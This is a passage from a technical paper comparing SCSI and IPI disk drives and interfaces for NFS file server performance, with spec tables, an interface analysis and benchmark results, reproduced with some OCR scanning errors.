Tracks/Surface (data + spare) 2.627 + l 2.253 + 70 2,051 +°
SectorslTrack (data + spare) 68+l 76-96+0 66 + 30--40
Constant-density Recording No Yes (for data) Yes (for spares)
Tracks/inch (tpi) 2.250 tpi 2,000 tpi 2.238 tpi
Linear Bit Density (bits/in) 42,000 bpi 47,751 bpi 58,874 bpi

Table 1: A SCSI and IPI HDA comparison on non-performance metrics. Some comments on the metrics: Formatted capacity is
measured after hardware disk formatting of 512-byte sectors. but before Unix newfs formatting. Formatted IPI capacities are
controller dependent, usually 80-85% of unformatted. Parallel-head drives such as the dual-head ST41800K IPI drive usually lose
about 10% of their capacity in multihead operation. This is because more embedded control information is consumed at
hardware formatting time (e.g•• the union ofbad spots, a doubling ofspare sectors and tracks. etc.). The advantages ofSCSI'S track
buffers-not now available in IPI-are discussed in section 3.3. Spindle synchronization is useful for ganged high-bandwidth disk­
array configurations. especially RAID-3 [Patterson88]. Spare trades and sedors are assigned during hardware formatting to allow the
disk controller to remap bad spots with minimal performance impact. Constant-density recording (sometimes called zone-bit
recording) adds more sectors per track as track radius increases, usually in a few fixed zones ofconstant sectors/track. This boosts
disk capacity at the expense ofextra controller firmware complexity.
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3 SCSI and IPI Disk Drive Trends and Comparison

3.1 Trends in Smaller Form Factors

Interestingly, the electromechanical portion-ca1led the head-disk assembly, or HDA-ofa single vendor's
SCSI and IPI high-performance disks will usually be identical in coming years. SCSI will appear first in
smaller form factors, driven by personal-computer needs. But only the interface electronics will be
different. For instance, 5.25-inch SCSI has been common for several years, with 5.25-inch IPI appearing in
late 1991. High-performance 3.5-inch SCSI is now available (e.g., from IBM); 3.5-inch IPI will lag and
probably appear in 1993.

This implies that the differences in SCSI and IPI manufacturing cost will be based solely on the drive
interface electronics. These costs are usually (but not always, depending on volume) more expensive for
SCSI because of read-ahead track buffers and more powerful embedded microprocessors. Yet SCSI drive
prices are expected to remain substantially lower than IPI because of intense vendor competition and
volume SCSI shipments.

3.2 SCSI and IPI General HDA Comparison

Table 1 is a comparison of three manufacturers' HDAs: 5.25-inch "Elite-2" IPI from Seagate [Seagate91],
5.25-inch "Coyote-4" SCSI from Hewlett-Packard [HP91b], and 3.5-inch SCSI from IBM [IBM91]. Recall
that an HDA consists of platters, spindle, motor, seek actuator, arms, read-write heads, etc. While two of
these drives are not yet in production, evaluation units are currently available to OEMs-they're real.

3.3 SCSI and IPI HDA Performance Comparison

Table 2 is a performance comparison of the three HDAs reviewed in the previous section: 5.25-inch dual­
head IPI from Seagate, 5.25-inch SCSI from Hewlett-Packard, and 3.5-inch SCSI from IBM.

Performance Metrics ST41800K IPI-2 HP 0010 SCSI-2 IBM 0663 SCSI-2

Command Overhead 1 ms est. 500 J..LS est. 950J..LS

Seek (random average, R & W) 11.0 ms 11.5 ms 10.4 ms

Seek (short, track-to-track) 1.7ms 2.5ms 0.6 R & 3.0W ms

Rotational Speed (RPM) 5,400 RPM 5,400 RPM 4,316 RPM

Rotational Latency (112 revolution) 5.55ms 5.55 IDS 6.95ms

Seek+Rotate Time (average) 16.5 ms 17.0 IDS 17.4ms

Transfer Rate from Buffer (MB/s) 7.5 MB/s unbuffered 10MB/s@8b 5MB/s
20MB/s@16b

Transfer Rate (media MB/s) 7.5 MB/s (dual-head) 4.0-5.25 MB/s 3.0 MB/s

Transfer Rate (sector-to-sector data MB/s) 6.0MB/s 4.1 MB/s (mean) 2.4 MB/s

Data Transfer Time for 8-KB (ms) 1.4ms 2.0ms 3.4ms

Fraction of Full Rotation for 8-KB Block 12% 180/0 24%

Random I/O Rate (8-KB I/0s/second) 53 lOPS 51 lOPS 46 lOPS

Table 2: A SCSI-2 and IPI-2 HDA performance comparison. Some comments on the metrics: Command overhead for IPI drives is
dependent on the controller, and is thus estimated here. Transfer rate is a complex number, because the media transfer rates
quoted by vendors usually exceed the sector-to-sector data rate by 15-20% and the sustained cylinder-to-cylinder data rate by up
to 35%. These rate reductions are caused by format information that must be read, but that is not data; the need to switch
between tracks and cylinders, which can take time but transfers no data; and occasional bad spots, requiring time to process
remappings. The sector-to-sector transfer rate is the real rate at which data is transferred to or from a track on the disk. It is
computed by dividing the total data bytes in a track by the time of a disk revolution. For the constant-density-recorded HP drive,
the middle ofthe three zones is used for the mean. The average seek time is computed over all possible seek distances, a uniform
distribution. The 8-KB data transfer time uses the realistic sector-to-sector transfer rate and assumes that all 8 KB is on the same
disk track. The random I/O rates indicated are computed by taking the inverse of the (command overhead + average seek time +
average rotational latency + data transfer time for 8 KB).
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A review of table 2 discloses generally minor drive differences: The IBM HDA has a slightly longer
rotational latency because it rotates 1,100 RPM slower than the other drives. The IBM HDA has the best
seek times because of its new-technology "nanoslider" actuator. Command overhead times (which reflect
controller software and hardware overhead) have similar figures. Transfer rates differ: the dual-head
Seagate drive is obviously fastest; the HP drive is next because of its high recording density and rotational
speed; the mM HDA's exceptional bit density is counterbalanced by its smaller form factor, which reduces
track linear velocity and thus transfer rate. This leads to two final conclusions:

• Similar small-block1/0 rate (random-access throughput). For all drive types, the sum ofaverage seek,
rotational latency, and 8-KB transfer times is close to 20 ms. This yields random-access throughput of
about 50 lOPS on a single-drive basis. This means that factors other than raw performance-for
instance, cost, interface, and controller issues-should be key determinants in disk-drive choices for
random-access applications like NFS.

• Superior IPI transfer rate (sequential-transfer throughput). IPI drives are readily available with parallel­
head transfer capability. By multiplexing the individual data streams of two or three read/write heads,
aggregate transfer rates of 6 or 9 MB/s (or more) are possible. (Parallel-head SCSI drives could be
easily built but are not available today.) This high IPI sequential throughput can be important for the
data-intensive, large-file applications typically ron on supercomputers and minisupercomputers.
Such throughput is largely wasted using NFS, as we will quantitatively discuss in section 4.1.

3.4 SCSI and IPI Interface Definitions and Operation

Comparing the SCSI and IPI interfaces is a bit like comparing bread and flour. The inquisitive reader has
undoubtedly been waiting for something to be different, for previous sections have concluded that typical
SCSI and IPI HDA performance is essentially identical. The wait is over: it is the SCSI and IPI interfaces that
duel as competitors, not the HDAs. This section examines how the two interfaces work. Section 3.5 will
compare their specifications and limits.

The fundamental difference between SCSI and IPI-2 is that SCSI is a bus interface, and IPI-2 is a device
interface. Refer to figure 2.
3.4.1 The SCSI Bus Interface

SCSI, as a bus interface, defines a shared packet-like bus that peer devices such as disks and tapes use to
conduct and communicate their business. There can be 8 devices per SCSI-1 bus and 16 per SCSI-2­
addressed 0-7 or 0-15 (only two disks are shown in figure 2). The implementation of the SCSI interface in
each device is called the SCSI controller, or just controller. Device 7 (the highest priority) is usually reserved
for host system access, and this host interface is conventionally called the SCSI host adapter, not the "host
SCSI controller." In figure 2, the Storage Processor has 10 host adaptors on a single board. Since the SCSI
bus fills the traditional channel role in SCSI storage subsystems, this report occasionally uses the less­
precise term "SCSI channel" to refer to the SCSI bus.

The SCSI disk controller built into SCSI disks is frequently called "intelligent." This is because the
controller responds to very high-level, almost un-disk-like commands. For example, read (logical block
number1, number ofsectors S) is a SCSI command to read S 512-byte sectors ofdata from the disk starting
at 512B-block L Note that no disk-style cylinder, track, or sector addresses are given-just a linear block
number. Also, multiple blocks (sectors) can be conveniently read-even if they cross track or cylinder
boundaries, or include remapped bad spots. In a SCSI disk drive, the controller imposes a simple linear
addressing scheme on top of complex physically-addressed media. The controller also transparently deals
with issues oferror detection and correction, bad-sector remapping, error logging, and disk buffering (see
below). This intelligence is integrated directly into the drive by the disk vendor, who presumably best
knows how to deal with these issues-in the lowest-overhead manner-for his own HDA.

SCSI is not a master-slave bus. Each device can assume control as the bus master and transact business in a
request-reply fashion with any other device on the bus-usually the host, through the host adaptor.
Consequently, SCSI device communication is intermpt driven, not polled, which reduces bus contention.
Because the single SCSI bus is used to pass both control and data information, the SCSI bus is the storage
channel (defined in section 1.1) for all attached devices.
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NSSOOO SPARCserver

VME 55MB/s VME 22MB/s

Storage ISP-80 IPI-2
Processor Controller

(Only 1 needed) (Up to 4 per system)

1 • • • 10 1 (Only)

10 Concurrent SCSI-1 Channels 1 Serial IPI-2 Channel
Figure 2: Typical SCSI disk array and IPI-2 disk subsystem architectures. The storage subsystems ofAuspex NetServers and Sun
SPARC5erVers are illustrated as concrete examples of each architecture. The transfer rates in the figure correspond to current­
generation 5.25-inch disks. not the forthcoming drives in tables 1-2. The Storage Processor has a maximum of 20 drives-2 per
SCSI channel-and each drive can read and write concurrently as desaibed in section 3.4.1. Do not construe the term disk array
too elaborately: it simply refers to a disk subsystem organization that has high drive packing density (volumetric efficiency) with
the drives attached to multiple parallel channels (typically ~ 5). SPARC5erver IPI subsystems support up to 8 disks per controller.
and each controller has serial read and write access to each disk. as described in section 3.4.2. There is a limit of4 IPI controllers
per sPARcserver system. with a single IPI channel per controller, although other vendors support more controllers or more
channels per controller. The Sun Isp-80 controllers handle a 10 MB/s channel transfer rate and are optimized (with controller
buffering) for sequential read-ahead. Despite this sequential transfer advantage. section 4.3 discusses empirical testing that
confinns that the limited drive concurrency of this style OfIPI subsystem greatly restricts NFS (random-access) throughput.

The SCSI bus permits substantial device concurrency, since, for instance:

• The host can connect to a tape drive and give it a command to read data. The host can then
disconnect from the tape while the tape executes the command and fills its internal buffers.

• While the tape is at work (and off the bus), the host can immediately connect to another device-say,
a disk drive-and give it a command to write data (including the data). The host can now disconnect
from the disk.

• While both the tape and disk are at work (and still off the bus), the host can request another disk to
read data without waiting for the previous disk or tape. Again, once the disk has received the read
command, it can disconnect from the host and actually perform the read into internal buffers.

• Now, when the tape has actually read its data, it becomes bus master, connects to the host adaptor,
and transmits the data requested by the host over the SCSI channel.

• While the tape is sending its data, assume that the disk finishes its read operation. The disk tries to
connect to the bus, but finds it busy with tape traffic. The disk non-intmsively monitors the bus until
the tape finishes, then takes its turn as bus master and sends its data to the host adaptor.

• As the disk transfers the requested data to the host, many SCSI controllers will automatically read the
remainder of the current disk track into its internal buffers. This is called read ahead. If the host
should soon ask for more data on the same track (e.g., sequentially read the next few sectors), it
permits the drive to quickly respond from its buffers rather than from the (slower) disk itself. If the
host asks for other data (not read ahead), read-ahead operations can be instantly aborted and the
requested data sought without delay. Some SCSI disks have multisegment caching that stores
noncontiguous tracks, corresponding to different disk-traffic localities (i.e., user working sets).
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Notice that the intelligent nature of the SCSI interface permits and even encourages a complete decoupling
ofa device's operation requests, operation execution, and operation replies. Further, requests and replies
to different SCSI devices can be freely intermixed in time-<levice access is not serialized (funnelled down
to a single active device), and device execution is completely autonomous and overlapped. For
electromechanical devices like disks and tapes, buffering in the device's controller matches the millisecond
speeds ofthe recording hardware to the microsecond SPeeds of the SCSI bus-analogous to a freeway on­
ramp. This thousand-fold impedance matching between SCSI devices and the SCSI bus is a great
advantage: it works like a charm, it's economical since it is built into the device, and it enables device
parallelism. As we will see in section 4.4, arrays of SCSI disks can easily deliver this random-access
throughput at the system level-ideal for NFS service.

3.4.2 The IPI-2 Device Interfrue

IPI-2 is a 16-bit parallel synchronous data interface with five separate control signals for disk device
control. Up to eight IPI devices can be attached to a single 10-MB/s IPI channel, addressed 0-7. IPI is a
master-slave channel, unlike SCSI, which has a peer-to-peer protocol. As a result, an IPI channel attaches
disks to a host system through a distinguished disk controller. This controller is the channel master and
needs no device address of its own since it controls slave devices (e.g., disk drives 0--7).

Compared to SCSI, the IPI interface is an unintelligent interface. IPI drives do not offer a bad-spot-free,
linear-address disk model to the IPI channel. Rather, the IPI controller assumes these tasks, and uses the
many data and control signals of the IPI channel to implement a higher-level model to the host. In
essence, while SCSI puts the intelligence in each drive (in the drive's SCSI controller), IPI pulls out
intelligence from the drive and puts it up on the disk channel controller, where intelligent functions are
shared among the up to eight drives per channel. While this may appear to have some economic benefit,
in practice the low volumes of IPI drives-and even lower volumes of frequently host-vendor-specific
controllers-keep IPI subsystem prices well above similarly-configured SCSI prices.

Pushing IPI intelligence back to the controller can have serious performance disadvantages. Typical IPI
controllers can command disk drives to perform concurrent seeks. But the IPI channel performs strictly
serialized data transfers. Furthermore, IPI drives do not (yet) have individual read-ahead (track) buffers­
buffering is pushed back to the shared controller. The result is that IPI drives on the same channel end up
waiting for each other-delayed waiting to initiate raw transfers to the controller.

Consider this typical sequence ofevents for the IPI subsystem in figure 2:
• The IPI controller commands one disk to seek to a specified track.
• The controller immediately commands another disk on the same channel to a different track.
• The controller waits for the two disks until one of them is ready to transfer data at the desired sector

on the target track and interrupts the controller. (The implications of so-called zero-latency reads
(ZLR) are not considered here. In a ZLR transfer, data movement can start from the middle sectors­
not just the first-of a multisector transfer. The remaining data-i.e., the initial sectors requested­
are read later when the disk head arrives there. The piecemeal transfer is spliced together by the
controller before being passed, contiguous and intact, to the host. ZLR is an advantage for large,
whole-track (> 50 KB) transfers, but is of marginal help for small NFS-style 8-KB block transfers.)

• The controller accepts raw data from the ready drive, processing the preamble and postamble,
performing error detection (typically by computing a Reed-Solomon ECC code), buffering, etc. The
controller is fully occupied servicing this single drive for the duration of the transfer.

• During the above drive's transfer, the second drive becomes ready. But because the controller and
channel are already busy with a transfer, the second drive waits-and the read-write heads spin past
the desired data sectors. This is where SCSI has a key advantage: a SCSI drive that finds its channel
busy neverwaits, because the SCSI HDA can transfer the target data into local-to-the-drive buffers. An
IPI drive, on the contrary, must rotate completely around-wasting 11-16 milliseconds, depending
on disk angular velocity (RPM)-before it can begin the transfer again. This is a significant penalty. It
lets us predict that adding more drives to an IPI channel will not linearly increase random-access
throughput-a counterintuitive hypothesis that is tested in section 4.3.
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• After spinning around, the second drive executes its transfer, as long as the first drive is finished and
no other drive has grabbed the IPI channel in the single-rotation interim. This serial access to the IPI
channel for data transfers limits IPI's random-access throughput. This is the classic and well-known
channel contention problem in the mainframe world, where disk drives must be coupled with a
balanced number ofchannels to maintain unhindered storage-to-host throughput.

• Finally, consider the effect ofIPI read-ahead. Ifan IPI controller has been programmed to perform
track (or greater) read-ahead-typical ofsequential-transfer environments-other waiting disks will
wait even longer. Furthermore, if the read-ahead data is never used because of random-access, all that
extra waiting time is really wasted. Contrast this with SCSI, where read-head occurs inside the drive,
creating neither channel contention nor unnecessary waiting.

Several methods are available to widen IPI's serial-channel bottleneck. The easiest remedy is to use only
one IPI disk per controller (which is how SCSI operates already). While computer vendors often
benchmark their IPI disk subsystems using this method, it is far too expensive for most customers. A
second remedy is to build multiple storage channels into one controller. Unfortunately, it takes substantial
hardware real estate to cope with the low-level IPI-2 device interface, resulting in a limit on how many
channels can be packed onto a printed-circuit board Indeed, some vendors are building two-channel IPI
controllers for the Unix market. But this does not match the dense channel packing possible with SCSI,
where 5- and even IO-SCSI-channel host adaptors exist.

Finally, remember that IPI's serial channel is an issue only for random I/O patterns. One oflPY's raisons
d'etre is quick, massive, single-drive sequential transfers using parallel heads. IPI will do this well even with
multiple drives per IPI channel because the transfer time-for suitably long transfers-outweighs the
pretransfer positioning time.

3.5 SCSI and IPI Interface Comparison

The previous section defined the SCSI-bus and IPI-device interfaces. It continued to describe some
performance-critical operational issues of disk-to-host transfers. This section returns to basics by
summarizing and comparing SCSI and IPI interface specifications. See table 3.

Reviewing table 3, there are six key attributes that distinguish SCSI from IPI:
• Multiple transfers per bus/channel. Because SCSI devices are buffered and intelligent, physical device

data transfers can proceed in parallel, decoupled from the channel. IPI transfers, as we have seen, are
direct-coupled, serial, and will often miss their optimal starting points when there is more than one
drive per (busy) channel.

• Multiple command queueing. With both IPI and SCSI-I, command queueing (and sorting) is left as a
controller function, where it is usually performed in high-performance systems. With SCSI-2,
queueing can also occur within the SCSI-2 device's own controller. As well as aiding device
optimization, this queueing has the added benefit of reducing bus contention by eliminating
unnecessary bus handshaking when multiple commands are sent together using command linking.

• Read-ahead possible. With its internal buffering, read-ahead is natural and straightforward in SCSI
devices. For disks, read-ahead is usually done on a track basis-that is, as a disk head sweeps an entire
track, all the data passing under it is read into the local buffer. Lacking device-level buffering, IPI
drives do not perform read-ahead themselves, although a high-performance controller will often do
so. Controller-based IPI read-ahead can have serious performance implications in random-access
environments like NFS, as discussed in section 3.4.2.

• SCSI read-ahead better. With its per-drive internal buffering, SCSI read-ahead can be more effective
than IPI's controller-level buffering. This is because IPI-controller-driven read-ahead easily results in
unnecessary disk delays and channel contention.

• Zero-latency reads likely. SCSI-I does not usually perform ZLR. Many SCSI-2 drives do. As we have
seen, IPI disks do not perform either reads or zero-latency reads themselves. In an IP! disk subsystem,
then, ZLR is usually implemented in the controller.
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• IPI has better end-to-end data integrity. Since IPI controllers perform ECC computations on raw
sectors, full ECC protection is provided from the media to the controller. SCSI typically uses only
ninth-bit byte-parity protection from the drive's buffer to the host. This gives IPI a distinct data­
integrity edge in data-sensitive or long-cabled environments.

Attribute IPI-2 SCSI-l SCSI-2

Device or Bus Interface Device Bus Bus
Arbitration Scheme Master-slave Peer-Peer Peer-Peer
Track Buffering No Yes Yes
Autonomous Device Operation No Yes Yes
Multiple Transfers per Bus/Channel No Yes Yes
Multiple Command Queueing Yes'" No Yes
Read-ahead Possible Yes'" Yes Yes
Zero-latency Reads (ZLR) Likely Yes'" No Yes
Bus/Channel Width (bits) 16b 8b 8b,16b,32b
Max Bus/Channel Bandwidth (MB/s) 10MB/s 5MB/s 10,20,40 MB/s

Device to Channel to Controller Parity? Yes Yes Yes
Device to Channel to Controller ECC? Yes No No

Table 3: A sCSI-I, SCSI-2, and IPI-2 interface comparison. Some comments on the attributes: Section 3.4 defines device and bus
interfaces and discusses scsI's and IPI'S arbitration schemes. Zero-latency reads are defined in section 3.4.2. All IPI attributes marked
with an asterisk (*) are optionally implemented in the IPI controller but are not available in the drives themselves.

3.6 ASCSI-l Drive Laboratory Performance Analysis

Examining disk specifications is no substitl:tte for an empirical performance analysis. Chart 2 presents the
results ofextensive SCSI testing that measures the numbers presented below [Cheng90). Hewlett-Packard
97548 663-MB SCSI-l drives [HP89] were used. These drives-lower in both performance and capacity
than the HP C3010 drives in tables I and 2----execute 2-MB/s asynchronous SCSI bus transfers and 4-MB/s
SYnchronous transfers. The host adapter was a 10-channel Auspex Storage Processor attached to special
instrumentation.

Here are some important conclusions from the SCSI-1 evaluation in chart 2:
• Multiple drives on one SCSI bus perform well. For random access there is only a 50/0 fall-off in

throughput linearity with three SYnchronous drives-i.e., three drives on one SCSI channel perform
almost three times as many random VOs (curves 5&6). For sequential access, where SCSI bus data
transfer time is larger, three-drive sequential-synchronous throughput linearity decreases 200/0 with
read-ahead (curve 1) but only 1% with no read-ahead (curve 2).

• The cost of random access (over sequential access) is 16 ms, or exactly the average seek time of the HP
97548 disk drive-the expected result (curves 2&6, 4&7).

• Sorting seeks into elevator queues works wel~ reducing random-access service time from 33 ms to
28 ms, or ISO/a, for a single synchronous drive (curves 5&6). Conversely, sorting seeks increases
random-access throughput from 30 read lOPS to 36 read lOPS on one drive, and from 86 to 98 read
lOPS on three drives.

• Read-ahead is crucial for excellent sequential throughput. Using only one drive per channel, sequential
synchronous throughput increased from 467 KB/s without read-ahead to 745 KB/s (60% more) with
read-ahead of sequential 8-KB blocks (curves 1&2). On a per-operation basis, read-ahead drops a
read's response time by about 7 InS, which is nearly the average rotational delay. So not reading ahead
requires rotating around again, as expected.
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• For random disk transfers, asynchronous SCSI transfers are only slightly slower than synchronous ones.
On a single disk, asynchronous random-access reads take an extra 0.9 ms (30/0) of transfer time per
16-seetor 8-KB block (curves 6&7). On three disks, the added time rises to 3.8 ms (110/0) per drive.

• For large sequential disk transfers, asynchronous SCSI transfers are slower than synchronous ones. On a
single disk, asynchronous sequential transfers take an extra 3.1 ms (29%) of transfer time per 16­
sector 8-KB block (curves 1&3). This corresponds to a drop in sequential throughput from 745 to 598
KB/s. On 3 disks, the asynchronous slowdown is pronounced, taking 6.3 ms (46%) longer per drive.
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Chart 2: A test-bench evaluation of SCSI-l disk drive read performance. In this graphical analysis of the HP 97548 SCSI drive.
curves 1-7 investigate the influence of five parameters on read performance: (1) synchronous and asynchronous bus transfers,
(2) random and sequential access patterns, (3) sorted and unsorted seek queues, (4) read-ahead enabled and disabled, and
(5) multiplicity of drives per SCSI channel. In particular, observe that SCSI random-access throughput scales almost linearly as
more drives are added to the same SCSI channel (curves 5-7). As we will discover in section 4.3, normallPI subsystems like the one
in figure 2 exhibit much worse behavior. Note that the service time for a disk operation in milliseconds is simply the inverse of its
operation rate in lOPS (which is plotted on the Y-axis, above).

4 SCSI and IPI Disk Subsystem Performance Comparison

4.1 The Anatomy ofan NFS Operation-Measuring Transfer Rate & NFS Throughput

Figure 3 dissects the anatomy ofan NFS Read operation from when the Read request is initiated on a client
workstation until the Read's 8 KB ofdata returns to the client from a disk. The resulting timing analysis is
done in the context ofan Auspex NetServer [Hitz90, Nelson91], a functional (asymmetric) multiprocessor
NFS file server that uses SCSI disk arrays for its NFS storage subsystem (figure 2). The goal of this timing
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analysis is to clearly demonstrate that the actual data-transfer time ofan 8-KB NFS disk read is such a small
part of overall system-level NFS Read time that the disk's transfer rate has low Performance impact. This
paper does not included a detalled examination ofeach timed step in figure 3. For the curious, these steps
are elaborated in the original report [Nelson92}.

G. WOrkstationTime: 1 InS

Ethernet,- - - - - - - - - - - - ~
A. Request Time: 0.16 ms

Figure 3: The anatomy ofan uncached NPS Read operation. The indicated 25.1 ms oftotal disk time dominates the overall 31.5 ms
required for the complete client-to-server-to-client NPS Read. However, the disk data-transfer time for an 8-KB NFS block is only
3.3 ms ofthe 25.1 ms total disk time, or just 9% ofthe entire 31.5 ms client-to-server-to-client NFS Read time. This 9% transfer­
rate contribution is not significant, and becomes less so as disk transfer rate increases further beyond 3.0 MBtS. Client workstation
time is not included in the total time. The timings indicated for the NS 5000 are not estimates but were measured with software
monitors and logic analyzers for Auspex software release 1.1. The disk timings are based on current-generation HP 91560 scsl-2
drives [HP91a), not the C3010 in tables 1-2. the specifications for this 1.35-GB drive are: 800 J.1S overhead, 13.5 ms average seek)
1.5 ms latency (4,002 RPM») and 2.5 MBts data-sector transfer rate. Ethernet timings are for transmission times assuming no access
contention or collisions.

The analysis in figure 3 explicitly ignores all system·, controller·, and drive-level caching optimizations.
This is necessary to study the influence of actual disk transfer rate: If a disk is not involved in an I/O
operation because a cache-hit stepped conveniently into the way-at any level in the system-then
transfer rate doesn't matter at all.

Raw Transfer Rate 8-KB Transfer Time Total NFS ReadTime 6 Performance
2.9MB/s 3.3ms 37.5 ms Baseline
3.0MB/s 3.2ms 37.3 ms 00/0

4.0MB/s 2.4ms 36.5ms +2 %

6.0MB/s 1.6ms 35.7ms +50/0

9.0MB/s 1.1 ms 35.2 IDS +6 %

12.0MB/s O.8ms 35.0ms +7%

Table 5: The influence of disk data-transfer rate on system-level NFS performance. The 5% gain-i.e., reduction in total Read
time-from using 6 MBts drives is negligible. The transfer times shown are the data-transfer times for a 16-sector, 8-KB block. The
total NFS Read time consists ofa fixed, 34.2 ms portion (the sum ofall but the data-transfer and client-workstation times in figure
3), to which the data-transfer time is added.
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Table 5 shows the performance impact of increasing disk drive transfer rate on the system measured in
figure 3. Note that a 6 MB/s SCSI drive would only improve performance by 50/0, and a 12 MB/s drive by
70/0. But even these improvements would be worthwhile only on SCSI drives: if an IPI subsystem were used
instead ofa SCSI disk array, random-access throughput would suffer greatly because ofIPI channel-access
contention, as discussed in section 3.4.2 and shown empirically later in section 4.3.

4.2 NFS Benchmarking, NPS lOPS, and the NPS Operation Mixture

Some simple fundamentals of NFS benchmark methodology are needed for the following sections that
examine disk subsystem performance in the context of system-level NFS testing. The subject of NFS
benchmarking is beyond the scope of this paper; this section repeats some definitions and descriptions
from Horton's NFS study [Horton90].

NFS lOPS-I/O operations per second-are an NFS-specific measure ofNFS load. NFS lOPS are computed
by dividing the total number ofNFS operations executed by a server (or client) in a given time interval by
that time itself. These NFS throughput results are plotted as a function of average response times (e.g.,
chart 3). Each type ofNFS operation-Read, Write, Create, Remove, Lookup, GetAttr, SetAttr, etc.-is
counted as a single operation in the total operation count For reference, a single DEGstation 3100 or

.SPARCstationl performing moderate NFS I/O (e.g., compiling remote sources) generates a load of 10-20
lOPS to an NFS server, depending on local disk and memory configuration.

The benchmark workloads used in this study consist of synthetic NFS traffic generated by a special­
purpose NFS traffic generator. This traffic is generated to an operation distribution that corresponds to
average NFS operation mixtures actually encountered on servers handling client workstations executing
software development applications. The server disk traffic resulting from this synthetic NFS workload is
distributed equally across initially-empty file systems on all tested disks.

4.3 Why IPI is Poor at NPS-Measuring Multiple IPI Drives per Controller

4.3.1 Multiple Drives per Controller without Write Caching

In section 3.4.2 we predicted that adding drives to the same IPI disk channel would less-than-linearly
increase random-access throughput. Chart 3 is empirical proof of this counterintuitive hypothesis. For
reasons ofconvenient access, Sun's SPARCserver IPI disk subsystem was used for this test. Similar results
are expected from any sequentially-optimized IPI (or SMD) disk subsystem, although the relative ratios
would change depending on a particular vendor's implementation.

This comparison is a system-level test-not an isolated disk subsystem test. The NFS load driving the
server originates on workstations, so server network and CPU characteristics will playa part in the results.
But from test trial to test trial in chart 3, only the number ofdisks was varied. Three drive configurations
were tested on a 4/490-1,2, and 4 drives, all on the same IPI controller. No asynchronous write-caching
(buffering) was used-NFS Write operations are performed synchronously to disk. (A write-cache­
equipped IPI subsystem was tested with similar results (at higher workloads), and so is not repeated here.
The full report discuss the write-cache case [Nelson92].)

Here are the critical observations in chart 3:

• With only 1 drive, response times stay between 30-50 ms until about 80 NFS lOPS (measured at a
response-time threshold of70 ms) and then throughput levels off.

• With 2 drives, response times increase to 40-70 ms and throughput drops to about 65 NFS lOPS at a
70 ms response time. Random-access throughput and response time is worse for 2 drives than 1.

• With 4 drives, response times increase further, to 50-100 ms, and throughput drops further to about
55 NFS lOPS. Four drives are worse than 2 drives, because there are now 3 drives waiting for the 1
active drive on the IPI channel to finish.

• In total overload, at the response time region of 150-200 ms, 4-drive throughput exceeds 2-drive
throughput, which exceeds I-drive throughput. This is probably because each disk finally has enough
queued work (in the controller) that whenever one drive finishes a data transfer, one of the waiting
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disks (probably) has queued data under its heads and can begin transferring it immediately. But the
high response times ofthis overload region are unacceptable for most applications.

• The negative throughput scaling in chart 3 is worse than expected. In general, a small positive but
ever-diminishing (i.e., markedly sublinear) throughput increase should occur for each extra disk on a
single channel. We speculate the tested 4/490 was optimized for "excessive" sequential read ahead,
with very detrimental ~esults on this small-block 8-KB NFS test as explained at the end of section
3.4.2. We were unable to find a test system with this better behavior when preparing the paper.
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Chart 3: An NPS performance comparison of multiple !PI drives on a single IPI controller without write caching. Nolice how the
4/490'5 NfS throughput actually decreases---and response times inaease-as more disks are added to the same IPI channel. This is
because of bottlenecked IPI channel access (perhaps including excessive and unnecessary read-ahead). Both this negative
throughput scaling and the saturated-disk. lSO-ms throughput crossover are explained in the text. All disk writes performed in
this test are synchronous and not buffered asynchronously through fast stable storage such as a non-volatile RAM cache. The test
configuration was a Sun 4/490 running SunOS 4.0.3 with one ISP-80 IPI-2 controller and 1--4 Seagate 8-inch IPI-2 disks.

These three IPI performance curves show our prediction that IPI disk subsystems do not exhibit good
random-access performance unless there is a low drive-to-controller ratio-e.g., 1:1 or 2: 1. This is an
expensive proposition.

4.4 Why SCSI Disk Arrays Are Good for NFS

This section finishes our empirical disk subsystem investigations by examining the scalability of SCSI disk
arrays as more drives are added. As chart 5 shows, it's possible to achieve nearly linear throughput
scalability on NFS workloads. Once again, the benchmarked SCSI disk array is within an Auspex server.
For readersfamiliar with Patterson and Katz's work on Redundant Arrays of Inexpensive Disks (RAID
[Patterson88]), Auspex's disk arrays are organized in the simplest fashion: RAID 0 (independent disks)
and RAID 1 (dual-disk mirroring)-no striped parity scheme is used. For NFS, which requires small-block
random YOs, RAID 0 and 1work extremely well.

Chart 5 shows the scalability of the NetServer SCSI disk array over 4-16 disks' and very high offered NFS
loads. Disk array throughput scales nearly linearly (1.9:2.0, geometric mean) because of the disk-to­
channel balance. This is outstanding: There must be no bottlenecks in the entire system to achieve this
overall client-to-server NFS throughput linearity.
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Chart 5: Ascalability study of the SCSI disk arrays. In scaling a NetServer (NS SOOO) from a 2-Ethernet, 4-drive system, to 4 nets
and 8 drives, and 8 nets and 16 drives, the NetServer has a remarkably linear NFSthroughput increase of 1.9 (geometric mean) per
step. This demonstrates that SCSI disk arrays can provide almost perfectly scalable random-access throughput. The disk array can
respond to this scaled-Up load because drives are balanced with channels in a 2:1 ratio (and note that chart 2 lets us predict similar
results for 3:1 and probably 4:1 ratios). This is possible because SCSI controllers are built into each drive and 10 channels are
available on one board. (Notice that to supply scaled-up NFS workload to the server, extra Ethernets are needed as well, although
they do not effect the disk subsystem.) A sPARcserver 490 is shown for NFS comparison. The Auspex test configuration was an
NS5000 running version 1.4 software and SunOS 4.1 with 2-16 HP 97560 1.35-GB SCSI-2 disks. The SPARcservertest configuration
was a 4/490 running SunOS 4.1 with 24 NFSDS, Prestoserve 2.0, NC400 software 1.1,3 Sun Isp-80 IPI-2 disk controllers, and 8 911­
MB 6-MB/s IPI-2 disk drives.

5 Conclusion

This paper began with two thrusts: show that NFS file server disk traffic has a random-not sequential­
access pattern and explore and explain the complex behavior of modern disk drives. The conclusions from
these apparently dissimilar investigations were checked in a performance evaluation of IPI and SCSI disk
subsystems in high-performance NFS file servers. The result is that SCSI disk arrays easily outperformed a
contemporary, optimized IPI drive subsystem on NFS workloads. The SCSI subsystem also demonstrated
nearly linear throughput scalability, a remarkable achievement given its low cost. This result has now
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moved beyond upstart startup Auspex to traditional Unix vendors such as Data General, Silicon Graphics,
and Sun. These companies now offer medium-capacity SCSI disk subsystems-in addition to IPI-for
their file server products.

Some further conclusions and comments:

• Disk transfer rate is the least critical aspect of disk performance for NFS workloads in file servers
using conventional extent-based file systems like the UFS Unix file system. Transfer rate is important
for data-intensive compute-server applications where a small file is >> 100 KB.

• High per-disk random I/O rates and fully concurrent disk activities are essential for good NFS
performance. SCSI disks have built-in controllers for concurrent, autonomous activity. IPI-2 disks do
not.

